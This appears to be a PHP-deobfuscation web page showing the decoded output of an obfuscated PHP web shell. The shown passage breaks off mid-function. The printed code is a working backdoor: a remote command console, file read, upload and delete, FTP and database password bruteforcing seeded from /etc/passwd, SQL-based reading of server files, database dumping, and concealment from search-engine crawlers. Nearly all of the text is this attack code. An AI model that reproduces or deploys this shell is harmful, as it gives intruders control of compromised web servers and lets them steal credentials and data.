Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

echo strrev(gzinflate(base64_decode("zb1pe9s2FjD6/f4KRs0M5cYLF5GiiNhN4thN2jRJbadNG+f1cLXVy..

Decoded Output download

b'
 goto ad1bc; e54aa: if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'])) { $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool) $default_use_ajax; } goto Fd584; a16d5: if (!function_exists("posix_getgrgid") && strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\') === false) { function posix_getgrgid($p) { return false; } } goto b55d9; e8835: function rAKCgFooter() { $is_writable = is_writable($GLOBALS[\'cwd\']) ? " <font color=\'green\'>(Writeable)</font>" : " <font color=red>(Not writable)</font>"; echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>
	<tr>
		<td><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\'><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span>{$is_writable}<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>
		<td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span>{$is_writable}<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
		<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
		<input type=hidden name=a value=\'FilesMAn\'>
		<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] . "\'>
		<input type=hidden name=p1 value=\'uploadFile\'>
		<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\']) ? $_POST[\'charset\'] : \'\') . "\'>
		<span>Upload file:</span>{$is_writable}<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>
	</tr></table></div></body></html>"; } goto b1a62; Ef4ba: if (empty($_POST[\'a\'])) { if (isset($default_action) && function_exists(\'action\' . $default_action)) { $_POST[\'a\'] = $default_action; } else { $_POST[\'a\'] = \'SecInfo\'; } } goto b9717; b6b12: if (!empty($_SERVER[\'HTTP_USER_AGENT\'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if (preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) { header(\'HTTP/1.0 404 Not Found\'); exit; } } goto F8913; eb886: function actionBruteforce() { goto eefa1; C3f24: if (isset($_POST[\'proto\'])) { goto Dd337; Fa683: $server = explode(":", $_POST[\'server\']); goto F82da; dea8b: if ($_POST[\'proto\'] == \'ftp\') { function rAKCgBruteForce($ip, $port, $login, $pass) { goto f69cf; B6bc2: return $res; goto d5271; f69cf: $fp = @ftp_connect($ip, $port ? $port : 21); goto Ce568; Ce568: if (!$fp) { return false; } goto E710f; B7e2b: @ftp_close($fp); goto B6bc2; E710f: $res = @ftp_login($fp, $login, $pass); goto B7e2b; d5271: } } elseif ($_POST[\'proto\'] == \'mysql\') { function rAKCgBruteForce($ip, $port, $login, $pass) { goto b68c9; E3136: return $res; goto dbf38; ffc89: @mysql_close($res); goto E3136; b68c9: $res = @mysql_connect($ip . \':\' . ($port ? $port : 3306), $login, $pass); goto ffc89; dbf38: } } elseif ($_POST[\'proto\'] == \'pgsql\') { function rAKCgBruteForce($ip, $port, $login, $pass) { goto C7af0; D0fe5: $res = @pg_connect($str); goto D6065; D6065: @pg_close($res); goto a08b7; C7af0: $str = "host=\'" . $ip . "\' port=\'" . $port . "\' user=\'" . $login . "\' password=\'" . $pass . "\' dbname=postgres"; goto D0fe5; a08b7: return $res; goto F2a16; F2a16: } } goto B525e; De07d: $attempts = 0; goto Fa683; B525e: $success = 0; goto De07d; Dd337: echo \'<h1>Results</h1><div class=content><span>Type:</span> \' . htmlspecialchars($_POST[\'proto\']) . \' <span>Server:</span> \' . htmlspecialchars($_POST[\'server\']) . \'<br>\'; goto dea8b; e942a: echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>"; goto Ba301; F82da: if ($_POST[\'type\'] == 1) { $temp = @file(\'/etc/passwd\'); if (is_array($temp)) { foreach ($temp as $line) { goto d0e9d; d0e9d: $line = explode(":", $line); goto b639e; b9326: if (rAKCgBruteForce(@$server[0], @$server[1], $line[0], $line[0])) { $success++; echo \'<b>\' . htmlspecialchars($line[0]) . \'</b>:\' . htmlspecialchars($line[0]) . \'<br>\'; } goto Adddc; E2e20: F987a: goto E45b8; b639e: ++$attempts; goto b9326; Adddc: if (@$_POST[\'reverse\']) { goto c7487; a37cf: $i = strlen($line[0]) - 1; goto E4404; E2d99: --$i; goto bf8bd; E4404: ee45d: goto Cd641; c7487: $tmp = ""; goto a37cf; c32aa: if (rAKCgBruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo \'<b>\' . htmlspecialchars($line[0]) . \'</b>:\' . htmlspecialchars($tmp); } goto aab09; Fe430: ced2b: goto Ceb60; Cd641: if (!($i >= 0)) { goto ced2b; } goto C42f8; bf8bd: goto ee45d; goto Fe430; f05aa: c62ee: goto E2d99; C42f8: $tmp .= $line[0][$i]; goto f05aa; Ceb60: ++$attempts; goto c32aa; aab09: } goto E2e20; E45b8: } Def19: } } elseif ($_POST[\'type\'] == 2) { $temp = @file($_POST[\'dict\']); if (is_array($temp)) { foreach ($temp as $line) { goto Da3e7; Da3e7: $line = trim($line); goto B1695; F1d58: c1827: goto f6e18; da67e: if (rAKCgBruteForce($server[0], @$server[1], $_POST[\'login\'], $line)) { $success++; echo \'<b>\' . htmlspecialchars($_POST[\'login\']) . \'</b>:\' . htmlspecialchars($line) . \'<br>\'; } goto F1d58; B1695: ++$attempts; goto da67e; f6e18: } D9378: } } goto e942a; Ba301: } goto C665a; f945e: echo \'</div><br>\'; goto fd637; fd637: rAKCgFooter(); goto f4e46; eefa1: rAKCgHeader(); goto C3f24; C665a: echo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\' . \'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\' . \'<input type=hidden name=c value="\' . htmlspecialchars($GLOBALS[\'cwd\']) . \'">\' . \'<input type=hidden name=a value="\' . htmlspecialchars($_POST[\'a\']) . \'">\' . \'<input type=hidden name=charset value="\' . htmlspecialchars($_POST[\'charset\']) . \'">\' . \'<span>Server:port</span></td>\' . \'<td><input type=text name=server value="127.0.0.1"></td></tr>\' . \'<tr><td><span>Brute type</span></td>\' . \'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\' . \'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\' . \'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\' . \'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\' . \'<td><input type=text name=login value="root"></td></tr>\' . \'<tr><td><span>Dictionary</span></td>\' . \'<td><input type=text name=dict value="\' . htmlspecialchars($GLOBALS[\'cwd\']) . \'passwd.dic"></td></tr></table>\' . \'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\'; goto f945e; f4e46: } goto Fb2ca; cdda0: $color = "#df5"; goto D8b10; b9717: if (!empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\'])) { call_user_func(\'action\' . $_POST[\'a\']); } goto C6863; Fb2ca: function actionSql() { goto Af3f2; aa2e0: rAKCgFooter(); goto A7bb6; C6919: if (isset($db) && $db->link) { goto b206b; C54e9: if ($_POST[\'type\'] == \'mysql\') { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'"); if ($db->fetch()) { echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>"; } } goto D1ec7; D1ec7: if (@$_POST[\'p1\'] == \'loadfile\') { $file = $db->loadFile($_POST[\'p2\']); echo \'<br/><pre class=ml1>\' . htmlspecialchars($file[\'file\']) . \'</pre>\'; } goto E6375; D7aca: echo "</table></form><br/>"; goto C54e9; Bf8c5: if (!empty($_POST[\'sql_base\'])) { goto b0853; c5914: if (!($item = $db->fetch($tbls_res))) { goto a6bf3; } goto B215b; Cb9c7: if (@$_POST[\'p1\'] == \'query\' && !empty($_POST[\'p2\'])) { $db->query(@$_POST[\'p2\']); if ($db->res !== false) { goto bae2e; cbf09: $line = $line == 1 ? 2 : 1; goto b097e; Ba2cb: $line = 1; goto Cea1d; b097e: foreach ($item as $key => $value) { if ($value == null) { echo \'<td><i>null</i></td>\'; } else { echo \'<td>\' . nl2br(htmlspecialchars($value)) . \'</td>\'; } d119c: } goto c50e6; ad2e3: echo \'</table>\'; goto Ab681; E8bf8: e68f0: goto ad2e3; e7894: if (!($item = $db->fetch())) { goto e68f0; } goto A0f58; A23a4: goto B87f1; goto E8bf8; c50e6: C0fee: goto F4065; Cea1d: B87f1: goto e7894; F4065: echo \'</tr>\'; goto A23a4; A0f58: if (!$title) { goto B2ae7; B2ae7: echo \'<tr>\'; goto D8e76; b9903: Bd048: goto Eb9a4; C2bf0: $title = true; goto Ae191; Ae191: echo \'</tr><tr>\'; goto f9827; D8e76: foreach ($item as $key => $value) { echo \'<th>\' . $key . \'</th>\'; bdc19: } goto b9903; f9827: $line = 2; goto a1131; Eb9a4: reset($item); goto C2bf0; a1131: } goto f9e69; f9e69: echo \'<tr class="l\' . $line . \'">\'; goto cbf09; E392c: echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\'; goto Ba2cb; bae2e: $title = false; goto E392c; Ab681: } else { echo \'<div><b>Error:</b> \' . htmlspecialchars($db->error()) . \'</div>\'; } } goto Ceb50; Ff9e0: echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'" . $value . "\'>&nbsp;<a href=# onclick=\"st(\'" . $value . "\',1)\">" . $value . "</a>" . (empty($_POST[\'sql_count\']) ? \'&nbsp;\' : " <small>({$n[\'n\']})</small>") . "</nobr><br>"; goto Ae32e; ea3fb: echo "</textarea><br/><input type=submit value=\'Execute\'>"; goto b9712; E9a6d: $value = htmlspecialchars($value); goto Ff9e0; bbf90: if (!empty($_POST[\'sql_count\'])) { $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \' . $value . \'\')); } goto E9a6d; b0853: $db->selectdb($_POST[\'sql_base\']); goto E2f33; abb33: d4538: goto c5914; f0c27: a6bf3: goto C0ffa; b9712: echo "</td></tr>"; goto E028f; E2f33: echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>"; goto d6fa9; e01b2: if (!empty($_POST[\'p2\']) && $_POST[\'p1\'] != \'loadfile\') { echo htmlspecialchars($_POST[\'p2\']); } goto ea3fb; B215b: list($key, $value) = each($item); goto bbf90; Ceb50: echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>"; goto e01b2; cb447: if (@$_POST[\'p1\'] == \'select\') { goto a5c4d; b2350: $num = $db->fetch(); goto Cbf24; A959b: echo "<br><br>"; goto Ff416; Cbf24: $pages = ceil($num[\'n\'] / 30); goto bdb9d; b988d: if ($_POST[\'p3\'] > 1) { echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\'] - 1) . ")\'>&lt; Prev</a>"; } goto A1a18; a5c4d: $_POST[\'p1\'] = \'query\'; goto bb3d1; bb3d1: $_POST[\'p3\'] = $_POST[\'p3\'] ? $_POST[\'p3\'] : 1; goto Eff2e; bdb9d: echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'p2\'] . "\", d.sf.p3.value)}</script><span>" . $_POST[\'p2\'] . "</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . (int) $_POST[\'p3\'] . ">"; goto e40a1; F34f4: if ($_POST[\'type\'] == \'pgsql\') { $_POST[\'p2\'] = \'SELECT * FROM \' . $_POST[\'p2\'] . \' LIMIT 30 OFFSET \' . $_POST[\'p3\'] * 30; } else { $_POST[\'p2\'] = \'SELECT * FROM `\' . $_POST[\'p2\'] . \'` LIMIT \' . $_POST[\'p3\'] * 30 . \',30\'; } goto A959b; A1a18: if ($_POST[\'p3\'] < $pages) { echo " <a href=# onclick=\'st(\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\'] + 1) . ")\'>Next &gt;</a>"; } goto b2d63; e40a1: echo " of {$pages}"; goto b988d; b2d63: $_POST[\'p3\']--; goto F34f4; Eff2e: $db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']); goto b2350; Ff416: } goto Cb9c7; C0ffa: echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>"; goto cb447; d6fa9: $tbls_res = $db->listTables(); goto abb33; Ae32e: goto d4538; goto f0c27; E028f: } goto D7aca; b206b: echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; goto Bf8c5; E6375: } else { echo htmlspecialchars($db->error()); } goto b570f; E6412: echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" . (empty($_POST[\'sql_host\']) ? \'localhost\' : htmlspecialchars($_POST[\'sql_host\'])) . "\"></td>
<td><input type=text name=sql_login value=\"" . (empty($_POST[\'sql_login\']) ? \'root\' : htmlspecialchars($_POST[\'sql_login\'])) . "\"></td>
<td><input type=text name=sql_pass value=\"" . (empty($_POST[\'sql_pass\']) ? \'\' : htmlspecialchars($_POST[\'sql_pass\'])) . "\"></td><td>"; goto Fb771; E884f: $db = new DbClass($_POST[\'type\']); goto c4ca1; Fc3b2: echo "
<h1>Sql browser</h1><div class=content>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\'><input type=hidden name=charset value=\'" . (isset($_POST[\'charset\']) ? $_POST[\'charset\'] : \'\') . "\'>
<td><select name=\'type\'><option value=\'mysql\' "; goto bce56; Fb771: $tmp = "<input type=text name=sql_base value=\'\'>"; goto E5dd7; c4ca1: if (@$_POST[\'p2\'] == \'download\' && @$_POST[\'p1\'] != \'select\') { goto c3193; f90cb: switch ($_POST[\'charset\']) { case "Windows-1251": $db->setCharset(\'cp1251\'); goto Fd3e3; case "UTF-8": $db->setCharset(\'utf8\'); goto Fd3e3; case "KOI8-R": $db->setCharset(\'koi8r\'); goto Fd3e3; case "KOI8-U": $db->setCharset(\'koi8u\'); goto Fd3e3; case "cp866": $db->setCharset(\'cp866\'); goto Fd3e3; } goto A5974; a4cc8: Fd3e3: goto b057d; b057d: if (empty($_POST[\'file\'])) { goto Bab6e; e576c: Dfed6: goto Ecfd7; Efee5: header("Content-Disposition: attachment; filename=dump.sql"); goto c715e; c715e: header("Content-Type: text/plain"); goto c9d50; Bab6e: ob_start("ob_gzhandler", 4096); goto Efee5; Ecfd7: exit; goto a62bf; c9d50: foreach ($_POST[\'tbl\'] as $v) { $db->dump($v); Cdb25: } goto e576c; a62bf: } elseif ($fp = @fopen($_POST[\'file\'], \'w\')) { goto b95ee; e94db: unset($_POST[\'p2\']); goto c54ad; ac771: edd07: goto b2d89; b95ee: foreach ($_POST[\'tbl\'] as $v) { $db->dump($v, $fp); f037e: } goto ac771; b2d89: fclose($fp); goto e94db; c54ad: } else { die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\'); } goto Fa63b; A5974: C9c6a: goto a4cc8; E0fc1: $db->selectdb($_POST[\'sql_base\']); goto f90cb; c3193: $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']); goto E0fc1; Fa63b: } goto f01ec; Fba7f: echo ">MySql</option><option value=\'pgsql\' "; goto A4674; Af3f2: class DbClass { var $type; var $link; var $res; function __construct($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { goto c04a2; Cd2e6: Bdd7c: goto d6a31; c04a2: switch ($this->type) { case \'mysql\': if ($this->link = @mysql_connect($host, $user, $pass, true)) { return true; } goto B4c6f; case \'pgsql\': goto fadfe; c4c3b: if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) { return true; } goto D9eb8; D9eb8: goto B4c6f; goto d1d13; fadfe: $host = explode(\':\', $host); goto f8294; f8294: if (!$host[1]) { $host[1] = 5432; } goto c4c3b; d1d13: } goto Cd2e6; d6a31: B4c6f: goto b332c; b332c: return false; goto C9669; C9669: } function selectdb($db) { goto F56d3; A74dc: D69e2: goto Ee90e; b2abd: return false; goto F5382; F56d3: switch ($this->type) { case \'mysql\': if (@mysql_select_db($db)) { return true; } goto B9f6e; } goto A74dc; Ee90e: B9f6e: goto b2abd; F5382: } function query($str) { goto A71e4; e8bc1: return false; goto Ec015; C3bd5: f73ad: goto e8bc1; E1053: ac311: goto C3bd5; A71e4: switch ($this->type) { case \'mysql\': return $this->res = @mysql_query($str); goto f73ad; case \'pgsql\': return $this->res = @pg_query($this->link, $str); goto f73ad; } goto E1053; Ec015: } function fetch() { goto D4c16; D4c16: $res = func_num_args() ? func_get_arg(0) : $this->res; goto Fbe03; Fa900: return false; goto Afe23; e19ef: f65ba: goto b6a65; Fbe03: switch ($this->type) { case \'mysql\': return @mysql_fetch_assoc($res); goto A265a; case \'pgsql\': return @pg_fetch_assoc($res); goto A265a; } goto e19ef; b6a65: A265a: goto Fa900; Afe23: } function listDbs() { goto D2592; d8091: return false; goto Db908; D2592: switch ($this->type) { case \'mysql\': return $this->query("SHOW databases"); goto e1eb5; case \'pgsql\': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'"); goto e1eb5; } goto Cf25c; Cf25c: C7af8: goto f818b; f818b: e1eb5: goto d8091; Db908: } function listTables() { goto a8aff; a8aff: switch ($this->type) { case \'mysql\': return $this->res = $this->query(\'SHOW TABLES\'); goto B3707; case \'pgsql\': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'"); goto B3707; } goto E3702; E3702: Feecf: goto cb296; cb296: B3707: goto F66c8; F66c8: return false; goto Bbdd7; Bbdd7: } function error() { goto c004d; E630c: return false; goto B2bcc; b5f13: d3150: goto c2cea; c2cea: e905f: goto E630c; c004d: switch ($this->type) { case \'mysql\': return @mysql_error(); goto e905f; case \'pgsql\': return @pg_last_error(); goto e905f; } goto b5f13; B2bcc: } function setCharset($str) { goto D4e0f; D4e0f: switch ($this->type) { case \'mysql\': if (function_exists(\'mysql_set_charset\')) { return @mysql_set_charset($str, $this->link); } else { $this->query(\'SET CHARSET \' . $str); } goto Ee873; case \'pgsql\': return @pg_set_client_encoding($this->link, $str); goto Ee873; } goto F0265; F0265: bf62b: goto a9558; ffcfb: return false; goto Fd09f; a9558: Ee873: goto ffcfb; Fd09f: } function loadFile($str) { goto A257c; A257c: switch ($this->type) { case \'mysql\': return $this->fetch($this->query("SELECT LOAD_FILE(\'" . addslashes($str) . "\') as file")); goto dccee; case \'pgsql\': goto Bc2c4; d7063: return array(\'file\' => implode("
", $r)); goto c31b4; b1778: if (!($i = $this->fetch())) { goto B2b1d; } goto cf7f2; cf7f2: $r[] = $i[\'file\']; goto A5dcd; f8561: Cb4c1: goto b1778; Bc2c4: $this->query("CREATE TABLE rAKCg2(file text);COPY rAKCg2 FROM \'" . addslashes($str) . "\';select file from rAKCg2;"); goto b2b05; D7d50: $this->query(\'drop table rAKCg2\'); goto d7063; A5dcd: goto Cb4c1; goto c564e; c564e: B2b1d: goto D7d50; b2b05: $r = array(); goto f8561; c31b4: goto dccee; goto a29a1; a29a1: } goto e9e96; F19f6: return false; goto d90f7; D3f19: dccee: goto F19f6; e9e96: c55e1: goto D3f19; d90f7: } function dump($table, $fp = false) { goto ddc1f; E9da8: Fe2ef: goto bca88; bca88: return false; goto fcfc6; c4b69: ac2db: goto E9da8; ddc1f: switch ($this->type) { case \'mysql\': goto Bc667; cd089: if ($fp) { fwrite($fp, $sql); } else { echo $sql; } goto F3620; A5fa5: $columns = array(); goto B97a0; E6939: goto Fe2ef; goto fa51c; e0ba6: if ($head) { $sql .= \'INSERT INTO `\' . $table . \'` (\' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $item) . \')\'; $head = false; } else { $sql .= "
	,(" . implode(", ", $item) . \')\'; } goto cd089; B97a0: foreach ($item as $k => $v) { goto Cbbd3; Cbbd3: if ($v === null) { $item[$k] = "NULL"; } elseif (is_int($v)) { $item[$k] = $v; } else { $item[$k] = "\'" . @mysql_real_escape_string($v) . "\'"; } goto d9bb9; d9bb9: $columns[] = "`" . $k . "`"; goto bfff3; bfff3: Ab757: goto d3b2d; d3b2d: } goto f487d; ba355: if ($i % 1000 == 0) { $head = true; $sql = ";

"; } goto A5fa5; c4d29: if (!$head) { if ($fp) { fwrite($fp, ";

"); } else { echo ";

"; } } goto E6939; Bc667: $res = $this->query(\'SHOW CREATE TABLE `\' . $table . \'`\'); goto A2a01; a2107: if ($fp) { fwrite($fp, $sql); } else { echo $sql; } goto f2884; Bb580: goto e3750; goto dcb3c; Abd04: $sql = \'\'; goto ba355; ec781: e3750: goto A7b09; dc53a: $i = 0; goto fede8; dcb3c: D1945: goto c4d29; f2884: $this->query(\'SELECT * FROM `\' . $table . \'`\'); goto dc53a; f487d: e976e: goto e0ba6; A7b09: if (!($item = $this->fetch())) { goto D1945; } goto Abd04; A2a01: $create = mysql_fetch_array($res); goto ba59d; ba59d: $sql = $create[1] . ";
"; goto a2107; F3620: $i++; goto Bb580; fede8: $head = true; goto ec781; fa51c: case \'pgsql\': goto e0736; e0736: $this->query(\'SELECT * FROM \' . $table); goto c3a34; B66bd: $columns = array(); goto Ba693; C0115: goto Ee7a1; goto E8dda; C0175: goto Fe2ef; goto a7556; Ba693: foreach ($item as $k => $v) { goto D4f56; B965b: $columns[] = $k; goto A2dc7; D4f56: $item[$k] = "\'" . addslashes($v) . "\'"; goto B965b; A2dc7: aa5c6: goto D1037; D1037: } goto d98cd; c567a: if ($fp) { fwrite($fp, $sql); } else { echo $sql; } goto C0115; E174a: if (!($item = $this->fetch())) { goto ddd1b; } goto B66bd; E8dda: ddd1b: goto C0175; d98cd: A01b3: goto A803d; c3a34: Ee7a1: goto E174a; A803d: $sql = \'INSERT INTO \' . $table . \' (\' . implode(", ", $columns) . \') VALUES (\' . implode(", ", $item) . \');\' . "
"; goto c567a; a7556: } goto c4b69; fcfc6: } } goto E884f; A4674: if (@$_POST[\'type\'] == \'pgsql\') { echo \'selected\'; } goto E6412; cde22: echo "</td>
				<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\']) ? \'\' : \' checked\') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db=\'" . @addslashes($_POST[\'sql_base\']) . "\';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value=\'\';
                    if(f.p2) f.p2.value=\'\';
                    if(f.p3) f.p3.value=\'\';
                }
            }
			function st(t,l) {
				d.sf.p1.value = \'select\';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
					d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>"; goto C6919; bce56: if (@$_POST[\'type\'] == \'mysql\') { echo \'selected\'; } goto Fba7f; E5dd7: if (isset($_POST[\'sql_host\'])) { if ($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { goto a1c53; E0dec: echo \'<option value="\' . $value . \'" \' . ($value == $_POST[\'sql_base\'] ? \'selected\' : \'\') . \'>\' . $value . \'</option>\'; goto e557c; a1c53: switch ($_POST[\'charset\']) { case "Windows-1251": $db->setCharset(\'cp1251\'); goto a579c; case "UTF-8": $db->setCharset(\'utf8\'); goto a579c; case "KOI8-R": $db->setCharset(\'koi8r\'); goto a579c; case "KOI8-U": $db->setCharset(\'koi8u\'); goto a579c; case "cp866": $db->setCharset(\'cp866\'); goto a579c; } goto c99e3; e557c: goto b8e56; goto Ab935; Fb7d7: b8e56: goto fe914; C89ef: list($key, $value) = each($item); goto E0dec; Cd735: $db->listDbs(); goto Bdc0f; Ab935: d9c89: goto a9569; Bdc0f: echo "<select name=sql_base><option value=\'\'></option>"; goto Fb7d7; a9569: echo \'</select>\'; goto Ea091; fe914: if (!($item = $db->fetch())) { goto d9c89; } goto C89ef; bba2f: a579c: goto Cd735; c99e3: a9f8a: goto bba2f; Ea091: } else { echo $tmp; } } else { echo $tmp; } goto cde22; b570f: echo \'</div>\'; goto aa2e0; f01ec: rAKCgHeader(); goto Fc3b2; A7bb6: } goto Ec4df; B16f0: function actionFilesMan() { goto B0e86; c2652: echo "<option value=\'tar\'>Compress (tar.gz)</option>"; goto C2fce; ebceb: if (@is_file($GLOBALS[\'cwd\'] . $dirContent[$i])) { $files[] = array_merge($tmp, array(\'type\' => \'file\')); } elseif (@is_link($GLOBALS[\'cwd\'] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\']))); } elseif (@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array(\'type\' => \'dir\')); } goto dbe25; c0789: echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\'; goto B1058; dbe25: D9d2e: goto ecbaa; C3f2b: $i = 0; goto D75af; E7565: $files = array_merge($dirs, $files); goto E83de; D4eae: if (!empty($_POST[\'p1\'])) { goto A1932; dacde: f8db8: goto f5dc6; ba64a: F0251: goto dacde; A1932: switch ($_POST[\'p1\']) { case \'uploadFile\': if (!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\'])) { echo "Can\'t upload file!"; } goto f8db8; case \'mkdir\': if (!@mkdir($_POST[\'p2\'])) { echo "Can\'t create new dir"; } goto f8db8; case \'delete\': goto Cce49; fa4dc: if (is_array(@$_POST[\'f\'])) { foreach ($_POST[\'f\'] as $f) { goto c6182; dd72b: $f = urldecode($f); goto F16a9; c6182: if ($f == \'..\') { goto cdf6b; } goto dd72b; F16a9: if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } goto e5742; e5742: cdf6b: goto aa38c; aa38c: } bb4b5: } goto Af513; Af513: goto f8db8; goto d0643; Cce49: function deleteDir($path) { goto e4014; ec759: E942d: goto Ba66a; Ba66a: closedir($dh); goto dda52; B52e5: if ($type == "dir") { deleteDir($item); } else { @unlink($item); } goto c84cc; a83d0: $dh = opendir($path); goto b184e; e4014: $path = substr($path, -1) == \'/\' ? $path : $path . \'/\'; goto a83d0; b184e: fac7f: goto f0050; F90e6: $item = $path . $item; goto C4828; f8eb4: $type = filetype($item); goto B52e5; f0050: if (!(($item = readdir($dh)) !== false)) { goto E942d; } goto F90e6; C4828: if (basename($item) == ".." || basename($item) == ".") { goto fac7f; } goto f8eb4; c84cc: goto fac7f; goto ec759; dda52: @rmdir($path); goto D5a71; D5a71: } goto fa4dc; d0643: case \'paste\': goto Cc569; A9fa5: goto f8db8; goto ab373; Dd47c: setcookie(\'f\', \'\', time() - 3600); goto A9fa5; Cc569: if ($_COOKIE[\'act\'] == \'copy\') { goto A1771; Fa4eb: e7323: goto edf2c; f6d2b: foreach ($_COOKIE[\'f\'] as $f) { copy_paste($_COOKIE[\'c\'], $f, $GLOBALS[\'cwd\']); Eb24b: } goto Fa4eb; A1771: function copy_paste($c, $s, $d) { if (is_dir($c . $s)) { goto cd92d; Ecd44: goto ee3a1; goto D5853; cd92d: mkdir($d . $s); goto cd0e2; F11a4: if (!(($f = @readdir($h)) !== false)) { goto f9001; } goto F5004; cd0e2: $h = @opendir($c . $s); goto c7592; c7592: ee3a1: goto F11a4; D5853: f9001: goto B3be1; F5004: if ($f != "." and $f != "..") { copy_paste($c . $s . \'/\', $f, $d . $s . \'/\'); } goto Ecd44; B3be1: } elseif (is_file($c . $s)) { @copy($c . $s, $d . $s); } } goto f6d2b; edf2c: } elseif ($_COOKIE[\'act\'] == \'move\') { goto E9a95; F835e: B81d1: goto d3e3b; E9a95: function move_paste($c, $s, $d) { if 